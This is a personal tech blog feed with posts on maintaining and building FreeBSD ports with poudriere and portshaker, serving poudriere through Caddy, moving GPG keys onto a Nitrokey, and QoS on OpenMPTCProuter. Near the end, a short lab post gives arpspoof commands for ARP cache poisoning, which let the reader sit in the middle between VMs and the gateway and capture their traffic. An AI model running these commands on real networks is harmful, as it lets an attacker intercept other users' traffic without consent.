Posts on J'aime pas les piles

Maintaining Freebsd Ports

Sun, 15 Sep 2024 11:35:41 +0200

Post covering how to maintain FreeBSD ports.

My requirements – wishes

Building in a clean environment with isolation from the host system
Being able to work as a non-privileged user as much as possible
Having clear and simple workflow to:
- Create new ports
- Update existing ports

Tooling

See Building FreeBSD ports.

Setting the tools up

I will make use of doas to run the commands as root.

# All my git repositories are kept under ~/repos
cd ~/repos

# Clone official FreeBSD port tree
git clone https://git.FreeBSD.org/ports.git freebsd-ports
# Create a work ports tree
doas poudriere ports -c -m null -M /home/baptiste/repos/freebsd-ports -p work

# create a new local overlay to use in poudriere when creating ports
git clone git@github.com:gwarf/freebsd-ports-custom.git
doas poudriere ports -c -m null -M /home/baptiste/repos/freebsd-ports-custom -p custom

# Check existing port trees
doas poudriere ports -l
 
# Setup work env to point to local clone
export PORTSDIR=$HOME/repos/freebsd-ports
export DISTDIR=$PORTSDIR/distfiles
export PORT_DBDIR=$HOME/var/db/ports

# Create a branch or checkout existing one to work with
cd $PORTSDIR
doas git branch my_port
doas git checkout -b my_port

# Copy files from the port overlay if needed
cp -rv ~/repos/freebsd-ports-custom/security/my_port $PORTSDIR/security/
# Compare files if needed
diff -ur ~/repos/freebsd-ports-custom/security/my_port $PORTSDIR/security/my_port

# Open port work directory
cd $PORTSDIR/security/my_port

# Do work to create or update the port
# Edit the Makefile, bump version and so on
vim Makefile
# Update distfiles and checksums
make makesum

Run additional specific steps

Refer to:

# Upate go depencencies
make gomod-vendor > Makefile.deps.new
# Copy changes, omitting changes on dexidp:dex (to be confiremd)
vimdiff Makefile.deps.new Makefile.deps
# Do changes as needed if next commands encoutner errors
# It may be required to fix some versions
# looking at the proper version info at the upstream repos, ex:
# https://github.com/open-telemetry/opentelemetry-go-contrib/releases
# https://github.com/googleapis/google-cloud-go/releases?expanded=true&page=4&q=compute
# https://github.com/search?q=repo%3Afreebsd%2Ffreebsd-ports
# Update distfiles checksums for go modules
# Update distfiles checksums for go modules
make makesum

# Update cargo crates
make cargo-crates >> Makefile
# Merge cargo-crates update

Update package list

# Check if plist changed
make makeplist

Lint and test port

# Lint port
portlint -A
# Test using poudriere testport, and our work port tree
doas poudriere testport -j 14-1-amd64 -p work -o security/rbw
# If failing, it's possible to launch an interactive session
doas poudriere testport -j 14-1-amd64 -p work -o security/rbw -i -v -v

Once test are OK, publish changes back to the custom port overlay

# Clean port work directory once finalised
make clean
diff -ur $PORTSDIR/security/rbw ~/repos/freebsd-ports-custom/security/rbw
cp -rv $PORTSDIR/security/rbw ~/repos/freebsd-ports-custom/security/

# Commit changes to the work branch
doas git add .
doas git status
doas git commit -am 'Bump rbw to 1.12.1'

# Create a patch
doas git format-patch origin/main

# Switch back to main branch
doas git checkout main
doas git pull

# Rebase rbw work branch from main to get latest changes
doas git pull rebase origin/main rbw

Use case: updating rbw version and sending a new patch

cd ~/repos/freebsd-ports-custom/security/rbw
# Update version
vim Makefile

# Review and commit changes
git commit -am 'Update rbw to 1.12.1'
# Push changes remotely
git push
# Update and merge portshaker repositories
doas portshaker
# Test updated port, moving to interactive use to be able to update the Makefile
doas poudriere testport -j 14-1-amd64 -p main -o security/rbw -i
su -
# Update cargo crates
# FIXME: this reports issues
# Not validating first entry in CATEGORIES due to being outside of PORTSDIR.
make cargo-crates >> Makefile
# Merge cargo-crates update
vim Makefile
# Update sums
make makesum
#XXX: get changes from the jail to update the ports tree outside of the Jail

# Push changes to customised branch
cd ~/repos/freebsd-ports/security/rbw/
cp -rv ~/repos/freebsd-ports-custom/security/rbw/* .

# Commit changes to rbw branch or to a new branch
git fetch
git rebase origin/main rbw
# Squash changes if the updated port is not yet in the tree
git rebase -i ...
# Review changes
git diff origin/main
# Create a patch
git format-patch origin/main

Make a patch to send to bugzilla

cd ~/repos/freebsd-ports
# Update main branch
git checkout main
git pull
# Create a new branch
git checkout -b rbw
# Rebase the branch for main if it was already created
git rebase origin/main rbw
# Add changes from personal repo
cp -riv ~/repos/freebsd-ports-custom/security/rbw  ~/repos/freebsd-ports/security/ 
# Commit changes
git add security/rbw
git commit -am 'Add rbw port'
# Create a patch from origin
git format-patch origin/main
# Propose 0001-Add-rbw-port.patch via bugzilla

To be followed

Submit update using a PR in GitHub

References

Here is some documentation I followed to set this up, thanks to all the authors.

Using Caddy to Serve Poudriere

Sat, 31 Aug 2024 19:52:09 +0200

Follow up to the post on building FreeBSD ports.

Poudriere generates HTML content that can be served, and allowing to have an overview of what is currently happening. It’s also handy for digging into logs.

Poudriere comes with some web server templates that can be used, see /usr/local/share/examples/poudriere/ one of them is for caddy and allows having a very quick and simple setup, with even some https on localhost.

Installing Caddy

Caddy is available as a port, and will run as non root, as documented at https://wiki.freebsd.org/ThomasHurst/Caddy.

doas pkg install caddy
doas service enable caddy
doas sysrc caddy_user=www caddy_group=www
doas pkg install portacl-rc
doas sysrc portacl_users+=www
doas sysrc portacl_user_www_tcp="http https"
doas sysrc portacl_user_www_udp="https"
doas service enable portacl
doas service start portacl
doas service start caddy

Configuring Caddy

Caddy will only serve a single host, this I will replace the existing configuration.

There is also a sample configuration at /usr/local/etc/caddy/Caddyfile.sample.

doas cp /usr/local/share/examples/poudriere/Caddyfile.sample /usr/local/etc/caddy/Caddyfile

Edit /usr/local/etc/caddy/Caddyfile, to adjust the path to Poudriere, if needed. In my previous post I used /poudriere as BASEFS, thus I should replace /usr/local/poudriere/data/ as /poudriere/data/. I will also set the host name to poudriere.local, and allow to access the repository via http, to be used only on the internalnetwork. An https is also in place, but it’s using a Caddy’s generated CA, that won’t be trusted by default by other systems. In a production environment, a real certificate will be used, and if the servie is publicly reachable, and DNS correctly configured, caddy will automatically retrieve a Let’s Encrypt certificate.

The resulting file, with stripped comment is:

http://poudriere.local, https://poudriere.local {
  root * /usr/local/share/poudriere/html
  file_server
  # This is to access poudriere logs
  handle_path /data/* {
    root * /poudriere/data/logs/bulk/
    file_server browse
    @skiplog_files path_regexp \.json$
    @public_files path_regexp \.(css|gif|html|ico|jp?g|js|png|svg|woff)$
    @recheck_files path_regexp \.(json|log|txz|tbz|bz2|gz)$
    header @recheck_files +Cache-Control "public, must-revalidate, proxy-revalidate"
    skip_log @skiplog_files
    header @public_files +Cache-Control "public, max-age=172800"
    handle_path /logs/* {
      root * /poudriere/data/logs/bulk/
      file_server browse
    }
    handle_path /latest-per-pkg/* {
      root * /poudriere/data/logs/bulk/latest-per-pkg/
      file_server browse
    }
    encode {
      gzip 6
      minimum_length 1100

      # Allow gzipping js, css, log, svg and json files
      match {
        header Content-Type application/atom+xml*
        header Content-Type application/json*
        header Content-Type application/javascript*
        header Content-Type application/rss+xml*
        header Content-Type application/x-javascript
        header Content-Type application/xhtml+xml*
        header Content-Type application/xml*
        header Content-Type image/gif
        header Content-Type image/jpeg
        header Content-Type image/png
        header Content-Type image/svg+xml*
        header Content-Type text/*
      }
    }
  }
  # This is to access the package repository
  handle_path /data/* {
    root * /poudriere/data/packages
    file_server browse
  }
}

Start Caddy manually as it’s not expected to be used all the time:

# Start caddy manually
doas service caddy restart

The Caddy logs are in /var/log/caddy/caddy.log.

Then open https://poudriere.local, and accept the certificate.

Configuring a FreeBSD to use the repositoy exposed via Caddy

It’s enough to add record a new repository configuration, and only setting the URL, relying on the default values for the other settings.

cat /usr/local/etc/pkg/repos/custom.conf
custom: {
  url: "http://ptidoux.local/packages/14-2-amd64-main",
}

# Force updating repositories
daos pkg update -f

Building Freebsd Ports

Sat, 31 Aug 2024 15:03:41 +0200

Post covering how to build FreeBSD ports using poudriere and portshaker.

Back to an old platonic love

Lately, I had to came back to FreeBSD, and take over maintenance of some services deployed in FreeBSD.

I’ve been an happy FreeBSD years ago, I enjoyed this a lot, the handbook and other documentation are marvelous, many things “just works”, and I have a beard.

Long time ago I was also enjoying a very cool FreeBSD setup guide, from iMil. And together with GCU Squad they were spreading fun and love around the (BSD) world…

In fact I moved a bit away mainly due to lack of available time. You know, $WORK, $kids, $LIFE, … ^^

So thanks to $WORK, I know have the opportunity to dive again in the FreeBSD world.

I’ve got a few ports to maintain (including an old port of pydf I became the maintainer of, and that I was a bit ashamed to let rot due to lack of time…), and I’ve been recently looking at options for building the ports.

This page documents the steps I followed to set my building environment up.

My requirements - wishes

I need a setup allowing to build ports that are managed in an overlay/separate port tree, typically managed in a Git repository.
I want to build ports using FreeBSD Jails isolationg from the host OS and keeping it clear as much as possible.
I want to reuse existing packages as much as possible, and especially avoid building big resouces hungry software like the compilers and buildrs like gcc, rust, and cmake. Especially as I currently don’t need any customisation there.
Leveraging ZFS, especially as I need to become more acustonished to it.

Tooling

I ended up using a few tools:

poudriere: to build ports in FreeBSD Jails
portshaker: to keep ports tree udpated and merged. And also because it’s a

tool that I just discovered and that was in fact created by an old colleague, another memory from the past :)

Setting the tools up

I will make use of doas to run the commands as root.

Preparing for building in Jails with Poudriere

Installing poudriere, portshaker and friends

doas pkg update
doas pkg install poudriere git portshaker

Setting up poudriere

The first step is to create the ZFS dataset that will be used by poudriere.

# Find a suitable ZFS pool, for me it will be zroot
zpool list

# Create a ZFS dataset for poudriere
doas zfs create -o mountpoint=/poudriere zroot/poudriere

Now we have a nice ZFS dataset zroot/poudriere mounted on /poudriere and ready to be used to host all poudriere-related things.

Configuring poudriere

The poudriere configuration is quite straigthforward, and I mainly add an issue with a single point:

From the official doc and other posts I saw, it wasn’t clear to me how to setup BASEFS properly, sawing many examples specifying a ZROOTFS, but keeping BASEFS at another path.

Configuring /usr/local/etc/poudriere.conf:

ZPOOL=zroot
ZROOTFS=/poudriere
FREEBSD_HOST=https://download.FreeBSD.org
RESOLV_CONF=/etc/resolv.conf
BASEFS=/poudriere
DISTFILES_CACHE=/poudriere/distfiles
USE_PORTLINT=yes
USE_TMPFS=yes
NOLINUX=yes
ALLOW_MAKE_JOBS=yes
# Retrieve latest existing packages for all components
PACKAGE_FETCH_BRANCH=latest
# Except for the ones I manage
PACKAGE_FETCH_BLACKLIST="lua-resty-openidc lua-resty-session3 rbw"

Creating the build jail

I’m currently only interested in using the latest stable release, thus currently 14.1-RELEASE.

See poudriere-jail (8).;

# Create the build jail
doas poudriere jail -c -j 14-1-amd64 -v 14.1-RELEASE

Creating the ports tree

Poudriere will use a ports tree made of two souces:

the upstream port tree, using it’s latest version
a repository of custom ports

In order to do this, I will make use of portshaker, and will just create an empty poudriere ports tree that will later be filled using portshaker.

See poudiere-ports (8) for help on how to use poudriere ports.

# Create an empty ports tree, named main
doas poudriere ports -cF -p main
# Create folder for distfiles
doas mkdir /poudriere/distfiles
# Check the ports tree that got created
poudriere ports -l

Setting up portshaker

So now we have a ports tree ready to be consumed by poudriere, but we need to populate it. I’m using portshaker for this.

Thanks Romain for porthshaker!

Creating a ZFS dataset for the portshaker cache

Optionally, it’s possible to create a dedicated volume for portshaker cache. It can be useful if the root ZFS volume is limited in space

doas zfs create -o mountpoint=/var/cache/portshaker zroot/portshaker

Configuring the ports trees portshaker will maintain and merge

Shells scripts are used to populate the source ports tree. For more details see potshaker.d (5)](https://man.freebsd.org/cgi/man.cgi?query=portshaker.d).

As already mentioned, I will need two ports tree sources:

freebsd: the upstream FreeBSD ports tree
custom: a git repository where I host the few ports I maintain

For the FreeBSD source, I use the official FreeBSD ports GitHub mirror.

Create /usr/local/etc/portshaker.d/freebsd:

#!/bin/sh
. /usr/local/share/portshaker/portshaker.subr
if [ "$1" != '--' ]; then
  err 1 "Extra arguments"
fi
shift
method="git"
git_clone_uri="https://git.freebsd.org/ports.git"
git_branch="main"
run_portshaker_command "$@"

Make the script executable:

doas chmod +x /usr/local/etc/portshaker.d/freebsd

For the custom source, I will use a public GitHub repositories that I manage: gwarf/freebsd-ports-custom.

I’m cloning using https and not using ssh+git as it’s a public repository and as it is simpler, avoiding the need to care about authentication and authorization.

In case authentication is required, you will have to ensure the root user can properly authenticate, using a personal authentication token, an SSH key or else, as supported by the git client.

Create /usr/local/etc/portshaker.d/custom:

#!/bin/sh
. /usr/local/share/portshaker/portshaker.subr
if [ "$1" != '--' ]; then
  err 1 "Extra arguments"
fi
shift
method="git"
git_clone_uri="https://github.com/gwarf/freebsd-ports-custom.git"
git_branch="main"
run_portshaker_command "$@"

Make the script executable:

doas chmod +x /usr/local/etc/portshaker.d/custom

Configuring portshaker

The main configuration of potshaker is in /usr/local/etc/portshaker.conf, and an sample file is provided as /usr/local/etc/portshaker.conf.sample. The man page is helpful portshaker.conf (5).

The goal of this configuration is to populate the /poudriere/ports ports tree that will be used by poudriere.

The custom ports tree will be used as an overlay on the offical FreeBSD ports tree, overwriting existing files, to update existing ports, and adding new files and directories for adding new ports.

Create /usr/local/etc/portshaker.conf:

# Directory to cache port trees
mirror_base_dir="/var/cache/portshaker"
use_zfs="yes"
ports_trees="main"
# Poudriere-related configuration
poudriere_dataset="zroot/poudriere"
poudriere_ports_mountpoint="/poudriere/ports"
# Merge trees in the empty `main` pourdriere ports tree prepared previously
main_poudriere_tree="main"
# Force overwritting files freebsd ports with custom overlay
# This doesn't remove non matching files
main_merge_from="freebsd custom+"

Using portshaker

The porthskare UX is quite simple, you will want to often use it without any parameter, meaning that it will update and merge all trees.

# Update a single port tree
doas portshaker -u freebsd
# Update all ports trees
doas portshaker -U
# Merge prot trees
doas porthakser -M
# Update and merge port trees
doas portshaker

Using custom option allowing to build Obsidian

doas vim /usr/local/etc/poudriere.d/make.conf
# As per options in ports documentation, like /poudriere/ports/main/Mk/bsd.licenses.mk
# To allow building obsidian
DISABLE_LICENSES=yes

Building the ports

I use /usr/local/etc/poudriere.d/pkglist to document the list of ports to be built, let’s first populate it:

# Populating the list of packages to be built
doas sh -c "echo 'security/rbw' > /usr/local/etc/poudriere.d/pkglist""
doas sh -c "echo 'textproc/obsidian' >> /usr/local/etc/poudriere.d/pkglist""
doas sh -c "echo 'www/lua-resty-session' >> /usr/local/etc/poudriere.d/pkglist""

Then it’s possible to build the ports with the jail template that was previously created.

# Updating and merging the trees
doas portshaker
# Building packages verbosely using the merged ports trees
doas poudriere bulk -f /usr/local/etc/poudriere.d/pkglist -j 14-1-amd64 -p main -v -v

The resulting ports will be in /poudriere/data/packages/14-1-amd64-main/, 14-1-amd64 being the name of the jail used to build, and main being the name of the poudriere ports tree.

Using the ports

It is possible to access the repository locally.

Create repository definition in /usr/local/etc/pkg/repos/custom.conf:

Custom: {
  url: "file:///poudriere/data/packages/14-1-amd64-main"
}

Use the repository:

# Check repositories configuration
pkg -vv
# Update packages list
doas pkg update
# Search for a package, showing its origin
doas pkg search -Q repository rbw
rbw-1.11.1
Repository     : Custom [file:////poudriere/data/packages/14-1-amd64-main]
Comment        : Unofficial Bitwarden cli

It is possible to serve directly or rsync this directory to a web server so that FreeBSD servers and jails can use it.

Testing a port in a jail

When working on ports, it’s also very convenient to use poudiere-testport (8) to test an individual port, before using it, and/or submitting it.

Adding the -i parameter spawns an interactive shell at the end of the run, allowing to do changes and tests. As the ports as built as the nobody user, it may be required to excalate to root via su -.

doas poudriere testport -j 14-1-amd64 -p main -o security/rbw

To be followed

While I’m currently very happy with this setup, and all the tools I used, there are things to improve, like making use of ccache, or customising ports options.

I also need to find and document a simple/easy way to use poudriere to work on ports, like when bumping their versions or creating new ones. I’ve some notes on waht I currently do, but it’s not yet something I’m happy with.

References

Here is some documentation I followed to set this up, thanks to all the authors.

Using Nitrokey Pro and Fido2

Thu, 09 Jul 2020 14:36:23 +0200

In order to store and protect my credentials and to simplify 2 Factor authentication I’ve bought some USB keys from Nitrokey.

While it may be possible to find more complete or fancy solutions I selected Nitrokey, a German company, as both hardware and software is Open Source and I trust this way more than a black box provided by a company that is asking to get some blind trust.

For storing and protecting GPG or S/MIME key I’ve choosed a Nitrokey Pro 2 USB key.

For simplifying authentication I’ve also selected a Nitrokey FIDO2), it can be use for passwordless authentication (FIDO2) or as as a second authentification factor (U2F).

I will be using mainly on my GNU/Linux Archlinux personal desktop and on my work MacOS X laptop. I may also try it on Windows 10.

I will be using my existing personal GPG key and my work S/MIME certificate from Sectito and part of the Interoperable Global Trust Federation IGTF, as since years (decades in fact :) ) an X509-based Public Key Infrastructure (PKI) is used to identify and authorize access to the computing and storage resources. More and more services are now doing Federated authentication via OpenID Connect and SAML 2.0, but X509 certificates will be there for some more time. If you want to learn a bit about the European EGI distributed infrastructure supporting scientific computing you can start at EGI.

My first intent is to make use of the Nitrokey Pro 2 to sign my messages using mutt (what else?). As said my personal messages are signed using my PGP/GPG key, and my work emails are signed using my S/MIME certificate.

In case you don’t already have a GPG key you can create one on your comupter and then import it in the Nitrokey, thus allowing you to backup it elsewhere. Nitrokey provide a clean documentation about generating your GPG key. I also put together some notes/links in a gist.

I also want to use the Nitrokey FIDO2 to protect access to my BitWarden password manager - BitWarden is similar to LastPass or 1password, but it’s Open Source and you can host the synchronisation server on premise if needed. I highly recommned using BitWarden too.

Using the Nitrokey Pro 2 with S/MIME

According to Nitrokey Pro 2 documentation for S/MIME it’s required to install OpenSC. According to the Archlinux wiki, pcsc and ccid can help.

They can be installed from the community repository:

❯ trizen -S opensc pcsc-tools ccid

Then edit /etc/opensc.conf to appen enable_pinpad = false in the configuration block and start pcscd.service:

❯ sudo systemctl start pcscd.service

The smart card should show up:

❯ openpgp-tool -C -K
Using reader with a card: Nitrokey Nitrokey Pro (0000000000000000000(...)16) 00 00
AID:             d2:76:00:01:24:01:(...):00:00:80:16:00:00
Version:         3.3
Manufacturer:    ZeitControl
Serial number:   00(...)16
Aut Algorithm:   RSA4096
Aut Create Date: 2020-07-09 16:39:14
Aut Fingerprint: 9e:4a:04:77:6b:6d:36:(...):5c:70:11:5e:f0:57:e3
Dec Algorithm:   RSA4096
Dec Create Date: 2020-07-09 16:37:12
Dec Fingerprint: f3:67:ba:47:cd:ed:90:(...):1b:14:a2:b2:22:c2:11:ac:0d
Sig Algorithm:   RSA4096
Sig Create Date: 2020-07-09 16:38:47
Sig Fingerprint: 3f:e2:db:50:71:72:(...):ba:20:e5:4d:4f:bc:01:ce:ba:44

You can also scan for the card reader using pcsc_scan:

❯ pcsc_scan

Then the key and certificate pair can be copied from the p12 archive containing the S/MIME certificate to the key:

❯ pkcs15-init --delete-objects privkey,pubkey --id 3 --store-private-key baptiste_grenier_until_2021_02.p12[0/3084]t pkcs12 --auth-id 3 --verify-pin
Using reader with a card: Nitrokey Nitrokey Pro (0000000000000000000(...)16) 00 00
User PIN required.
Please enter User PIN [Admin PIN]:
Deleted 2 objects
error:23076071:PKCS12 routines:PKCS12_parse:mac verify failure
Please enter passphrase to unlock secret key:
Importing 1 certificates:
  0: /DC=org/DC=terena/DC=tcs/C=NL/O=Stichting EGI/OU=Operations/CN=Baptiste Grenier
❯ pkcs15-init --delete-objects privkey,pubkey --id 2 --store-private-key baptiste_grenier_until_2021_02.p12 --format pkcs12 --auth-id 3 --verify-pin
Using reader with a card: Nitrokey Nitrokey Pro (0000000000000000000(...)16) 00 00
User PIN required.
Please enter User PIN [Admin PIN]:
Deleted 2 objects
error:23076071:PKCS12 routines:PKCS12_parse:mac verify failure
Please enter passphrase to unlock secret key:
Importing 1 certificates:
  0: /DC=org/DC=terena/DC=tcs/C=NL/O=Stichting EGI/OU=Operations/CN=Baptiste Grenier
Failed to store private key: Not supported

According to the Nitrokey documentation the errors can be ignored.

Using neomutt with S/MIME certificate on the Nitrokey Pro 2

Using the Nitrokey Pro 2 with GPG/PGP

Preparing the GPG keys

By security I will not keep the master key on the Nitrokey, but store 3 different secret subkeys each limited to a specific usage, allowing to manage them individually:

one for signing
one for encrypting
one for authenticating

The master secret key should be exported and deleted from local keyring and saved in a secure location (or even multiple secure locations).

Setup on Archlinux

As per Nitrokey documentation libccid is used to interact with the OpenPGP smart card in the Nitrokey.

It doesn’t seem to be available by default in Archlinux, but searching the repositories using trizen I found some nitrokey stuff:

❯ trizen -Ss nitrokey
extra/libnitrokey 3.5-2
    Communicate with Nitrokey stick devices in a clean and easy manner
extra/nitrokey-app 1.4-2
    Nitrokey management application
aur/libnitrokey-git 3.4.1r781.ef171df-1 [unmaintained] [1+] [0.00%] [21 Aug 2018]
    Communicate with Nitrokey stick devices in a clean and easy manner
aur/nitrocli 0.3.1-1 [2+] [0.00%] [4 Jan 2020]
    Command-line interface for Nitrokey devices

So I installed and gave a try at nitokey-app that seems to be an official application by Nitrokey folks, versions for the various OS can be found on their website.

Forward future jump: in fact it’s possible to do everything using gpg.

The first step si to Configure it by Changing the User and Admin PINs. For reference default User PIN is 123456, and Default Admin PIN is 12345678.

It can be done from the Menu of the Nitrokey App.

As said I’m using BitWarden so I will generate and store the PINs in BitWarden, as it’s always handy to be able to check the PIN there before locking the Nitrokey at the 3rd failed unlocking tentative.

Once the PINs have been replaced, the next step is importing the GPG keys in the Nitrokey Pro 2.

# Once plugged the key should show be available to gpg
❯ gpg --card-status
Application type .: OpenPGP
Version ..........: 3.3
Manufacturer .....: ZeitControl
(...)
Name of cardholder: [not set]
Language prefs ...: de
Salutation .......:
URL of public key : [not set]
Login data .......: [not set]
Signature PIN ....: forced
Key attributes ...: rsa2048 rsa2048 rsa2048
Max. PIN lengths .: 64 64 64
PIN retry counter : 3 0 3
Signature counter : 0
KDF setting ......: off
Signature key ....: [none]
Encryption key....: [none]
Authentication key: [none]
General key info..: [none]

Let’s configure the card, you should be asked for the Admin PIN when updating the information:

❯ gpg --card-edit

gpg/card> admin
Admin commands are allowed

gpg/card> name
Cardholder's surname: Baptiste
Cardholder's given name: Grenier

gpg/card> sex
Salutation (M = Mr., F = Ms., or space): M

gpg/card> lang
Language preferences: fr

gpg/card> key-attr
Changing card key attribute for: Signature key
Please select what kind of key you want:
   (1) RSA
   (2) ECC
Your selection? 1
What keysize do you want? (2048) 4096
The card will now be re-configured to generate a key of 4096 bits
Changing card key attribute for: Encryption key
Please select what kind of key you want:
   (1) RSA
   (2) ECC
Your selection? 1
What keysize do you want? (2048) 4096
The card will now be re-configured to generate a key of 4096 bits
Changing card key attribute for: Authentication key
Please select what kind of key you want:
   (1) RSA
   (2) ECC
Your selection? 1
What keysize do you want? (2048) 4096
The card will now be re-configured to generate a key of 4096 bits

gpg/card> list

Reader ...........: 20A0:4108:0000000000000000000(...)16:0
Application ID ...: D2760001240103030005000(...)160000
Application type .: OpenPGP
Version ..........: 3.3
Manufacturer .....: ZeitControl
Serial number ....: 000(...)16
Name of cardholder: Grenier Baptiste
Language prefs ...: fr
Salutation .......: Mr.
URL of public key : https://keys.bapt.name/pubkey.asc
Login data .......: [not set]
Signature PIN ....: forced
Key attributes ...: rsa4096 rsa4096 rsa4096
Max. PIN lengths .: 64 64 64
PIN retry counter : 3 0 3
Signature counter : 0
KDF setting ......: off
Signature key ....: [none]
Encryption key....: [none]
Authentication key: [none]
General key info..: [none]

gpg/card> quit

Let’s now add the three subkeys. As you can see from the following output, I’ve got one master key, that is only used to manage the secret subkeys and that is ideally meant to be kept offilne at a secure place, and 3 secret subkeys that are used for only one purpose: (E)ncrypting, (S)igning and (A)uthenticating.

❯ gpg --edit-key --expert 0xCDA18F02
gpg (GnuPG) 2.2.20; Copyright (C) 2020 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

sec  rsa4096/XXXXXXXXXXXXXXXX
     created: 2019-04-19  expires: never       usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa4096/XXXXXXXXXXXXXXXX
     created: 2020-07-09  expires: never       usage: E
ssb  rsa4096/XXXXXXXXXXXXXXXX
     created: 2020-07-09  expires: never       usage: S
ssb  rsa4096/XXXXXXXXXXXXXXXX
     created: 2020-07-09  expires: never       usage: A
[ultimate] (1). Baptiste Grenier 
[ultimate] (2)  Baptiste Grenier (EGI) 
[ultimate] (3)  Baptiste Grenier 

# Select the first key that will be used for (E)ncryption
gpg> key 1

gpg> keytocard
Please select where to store the key:
   (2) Encryption key
Your selection? 2

# Provide the GPG key passphrase to unlock the gpg secret sub key
# Provide the Nitrokey Administrator PIN code

# Then use the key command to select the key for (S)igning (this command is
# used to toggle selection of a key, beware of not having multiple keys
# selected together) enable the second key
# Deselect key 1
gpg> key 1

# Select key 2
gpg> key 2

gpg> keytocard
Please select where to store the key:
   (1) Signature key
   (3) Authentication key
Your selection? 1

# Finally do the same thing for the authentication key
# used to toggle selection of a key, beware of not having multiple keys
# selected together) enable the second key

# Deselect key 2
gpg> key 2

# Select key 3
gpg> key 3

gpg> keytocard
Please select where to store the key:
   (3) Authentication key
Your selection? 3

# The save
gpg> save

Check the status of the nitrokey in another terminal:

❯ gpg --card-status

Reader ...........: 20A0:4108:0000000000000000000(...)16:0
Application ID ...: D2760001240103030005000(...)160000
Application type .: OpenPGP
Version ..........: 3.3
Manufacturer .....: ZeitControl
Serial number ....: 000(...)16
Name of cardholder: Grenier Baptiste
Language prefs ...: fr
Salutation .......: Mr.
URL of public key : https://keys.bapt.name/pubkey.asc
Login data .......: [not set]
Signature PIN ....: forced
Key attributes ...: rsa4096 rsa4096 rsa4096
Max. PIN lengths .: 64 64 64
PIN retry counter : 3 0 3
Signature counter : 0
KDF setting ......: off
Signature key ....: 3FE2 DB50 7172 1518 (...) 01CE BA44
      created ....: 2020-07-09 16:38:47
Encryption key....: F367 BA47 CDED 90F8 (...) C211 AC0D
      created ....: 2020-07-09 16:37:12
Authentication key: 9E4A 0477 6B6D 3636 (...) 5EF0 57E3
      created ....: 2020-07-09 16:39:14
General key info..: sub  rsa4096/XXXXXXXXXXXXXXXX 2020-07-09 Baptiste Grenier 
sec   rsa4096/XXXXXXXXXXXXXXXX  created: 2019-04-19  expires: never
ssb>  rsa4096/XXXXXXXXXXXXXXXX  created: 2020-07-09  expires: never
                                card-no: 0005 000(...)16
ssb>  rsa4096/XXXXXXXXXXXXXXXX  created: 2020-07-09  expires: never
                                card-no: 0005 000(...)16
ssb>  rsa4096/XXXXXXXXXXXXXXXX  created: 2020-07-09  expires: never
                                card-no: 0005 000(...)16

Usage with neomutt

TBD

Usage on MacOS X

Usage on Windows 10

2 Factor authentication with the FIDO U2F

BitWarden

Using 2FA with BitWarden is quite straightforward as it’s documented in the official BitWarden documentation. Basically the Nitrokey FIDO2 key can be registered to your account, and will only have to be connected.

As always it’s always better to always keep mutliple possibilities for doing second factor authentication, like a One Time Password (OTP) generated by an authentification application such as Authy or Google Authenticator.

GitHub

GitHub also provides some official documentation on using a security key for two-factor authentication.

Documnentation

SQM QoS OpenWrt OpenMPTCProuter

Wed, 20 May 2020 12:50:27 +0200

Doing QoS with OpenMPTCProuter

I’m at the countryside so no fiber/FTTH but only FTTD (Fiber To The DSLAM)… Being a remote worker I need a quite stable connection, so I’m currently using 3 ADSL connections aggregated via OpenMPTCProuter. Thus not only if one link fail it will be transparent but the upload and download links are aggregated, it’s not only a failover on the links. Initially I was an OverTheBox user, but that’s another story…

OpenMPTCProuter is based on OpenWrt and includes Smart Queue Management (SQM) allowing to do traffic shaping. Due to this it’s possible to use the standard SQM documentation, basically it involves:

measuring the current speed of the setup
computing the download and upload caps
configuring SQM appropriately

Measuring the current speed of the setup

Various convenient online services are available to test your connection. I’m using https://nperf.com with a free registered account as they provide an history of the checks, so it’s quite convenient.

Be sure to do multiple test to have a propre idea of the speed.

With my 3 ADSL connections I measured:

average download around 33/34 megabits/s
average upload around 1.5/1.7 megabits/s
average ping around 27/33 ms

My ADSL connections are around 10-12 Mb each, so it’s coherent.

Measuring speed from the CLI

In order to measure the download time you could also just download some files from the CLI and see the speed, OVH provides some convenient files for this.

wget -O /dev/null http://proof.ovh.net/files/10Mb.dat

For the upload it’s not as easy as you will need service listening on the internet, nc can be used for this.

# On the remote server, be sure to have port 4444 open
 nc -v -l 4242 > /dev/null
# From a local computer
dd if=/dev/zero bs=1024K count=512 | nc -v $SERVER_IP 4242
# Then you will be able to check dd's output

Computing the download and upload caps

For the download and upload caps SQM Documentation recommends using a max value between 80 and 95 % of the measured value.

To be a bit conservative I selected 85%:

33000 * 0.85 = 28050
1.600 * 0.85 = 1360

Configuring SQM in OpenMPTCProuter

Assuming OpenMPTCProuter will be reachable at 192.168.100.1, the configuration should be done at S http://192.168.100.1/cgi-bin/luci/admin/network/sqm (so under Network->SQM QoS).

As I want to do QoS on the aggregated MPTCP link it’s on the tun0 (omrvpn) interface, be sure to configure SQM for this specific interface.

In the Basic Settings tab:

Ensure that this SQM instance is enabled
Download speed: 28050
Upload speed: 1360

In the Queue Discipline tab:

Queuing disciplines usable: cake
Queue setup script: piece_of_cake.qos

In the Link Layer Adapation tab:

Which link layer to account for: ATM (as I’m using 3 ADSL connections)
Per packet Overhead: 44

Then save an apply!

Arpspoof Arp Cache Poisoning

Sat, 02 May 2020 18:19:48 +0200

Goal: tricking arp cache to redirect network traffic to us “Man in the middle”.

VM1: 192.168.1.244
VM2: 192.168.1.145
GW: 192.168.1.1

Prerequisites

# Enable ip forwarding
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
# Install arpspoof (part of dsniff)
sudo apt install dsniff

Listening to traffic between two VMs

# Checking arp table on VM1/VM2 allow to check IP/Mac
arp -a
# Start redirecting traffic from VM1 to VM2 to us
sudo arpspoof -i eth0 -t $VM1 $VM2
# Start redirecting traffic from VM2 to VM1 to us
sudo arpspoof -i eth0 -t $VM2 $VM1
# Checking arp table on VM1/VM2 allow to check IP/Mac
arp -a
# Using wireshark will allow to check/follow traffic
sudo whireshark

Pretending to be the default gateway

# Checking arp table allow to check IP/Mac
arp -a
# Start redirecting traffic from VM1 to VM2 to us
sudo arpspoof -i eth0 -t $VM1 $GW
# Start redirecting traffic from VM2 to VM1 to us
sudo arpspoof -i eth0 -t $GW $VM1
# Using wireshark will allow to check/follow traffic
sudo whireshark

Archlinux cleaning installed packages groups with Pacman

